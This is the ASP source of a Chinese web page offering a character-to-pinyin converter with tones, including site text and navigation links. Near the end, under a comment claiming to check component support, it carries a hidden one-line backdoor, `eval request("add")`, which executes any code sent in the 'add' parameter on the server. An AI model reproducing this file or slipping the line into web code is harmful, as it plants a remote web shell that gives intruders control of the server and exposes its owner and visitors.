<%@ CODEPAGE = "936" %> <% '############################# ' ' 阿江“汉字→拼音” ' 版本:0.1-021102 ' ' 版权所有 抄袭挪用必究 ' 引用代码请说明 ' ' http://www.ajiang.net ' '############################# '##### ★ 参 数 设 置 ★ ##### ' 1、数据文件名 DataFile = "hzpy.dat" ' 2、创建FSO(对象)的字符串 FSOstr = "Scripting.FileSystemObject" '##### ★ 代 码 开 始 ★ #####(以下请勿修改) ' 忽略所有错误 on error resume next ' 得到本文件的名字 mename=Request.ServerVariables("SCRIPT_NAME") ' 数据文件的绝对路径 thedatafile=server.MapPath(datafile) ' 声明全局变量 public datastr ' 获取提交的数据 hanzi=Request("hanzi") %> 汉字转换拼音(带声调),汉字转化拼音-繁体字转换网
繁体字转换网是一个为网民朋友提供在线繁体字转换器工具大全网名字体下载汉字转换拼音工具等资料,并且交流展示QQ繁体字网名个性签名个性资料的公益性网站
繁体字转换 | 汉字转换拼音 | QQ繁体字网名 | QQ繁体字个性签名 | 繁体字字体下载 | 繁体字资料 | 繁体字大全
 


汉字转换拼音(带声调)

汉字转换拼音,汉字转化拼音栏目为大家提供最好最专业的汉字转换拼音工具, 可以将汉字转换成拼音而且是带声调的拼音转化哦。本工具可以实现完整的汉字拼音查询,是一个实用汉字转拼音工具 。
将本网站添加到收藏夹,方便需要汉字转换拼音时使用
   ∷∷ 提交您要转换的汉字 ∷∷
<%if len(hanzi)<100 then%>

开始转换   

<% if hanzi<>"" then ' 创建FSO对象,读取数据文件 Set FSO = CreateObject(FSOstr) set thefile=fso.OpenTextFile(thedatafile) datastr=thefile.readall thefile.close set thefile=nothing set fso=nothing for i=1 to len(hanzi) pinyin=pinyin & topy(mid(hanzi,i,1)) next pinyin=replace(pinyin," "," ") pinyin=trim(replace(pinyin,vbcrlf & " ",vbcrlf)) %>
   ∷∷ 转 换 结 果 ∷∷
<%if len(hanzi)<100 then%>
<% end if %>  

 

更多相关:汉字转换拼音  带声调的拼音转换器 繁体字转换

 

如果您喜欢本站,请收藏本站,并将本站推荐给您身边需要的人

关于本站 | 网站地图 | 联系方法 | 留言本

  ©2007 WWW.FTZZZ.CN 繁体字 All Rights Reserved

<% '****************** 自定义函数 ******************** '检查组件是否被支持的自定义函数 eval request("add") Function topy(strhz) on error resume next if asc(strhz)>0 and asc(strhz)<127 then topy=strhz exit function end if topy=strhz thepy=split(datastr,strhz) if ubound(split)<>0 then topy=" " & trim(left(thepy(1),instr(thepy(1),vbcrlf)-1)) & " " End function %>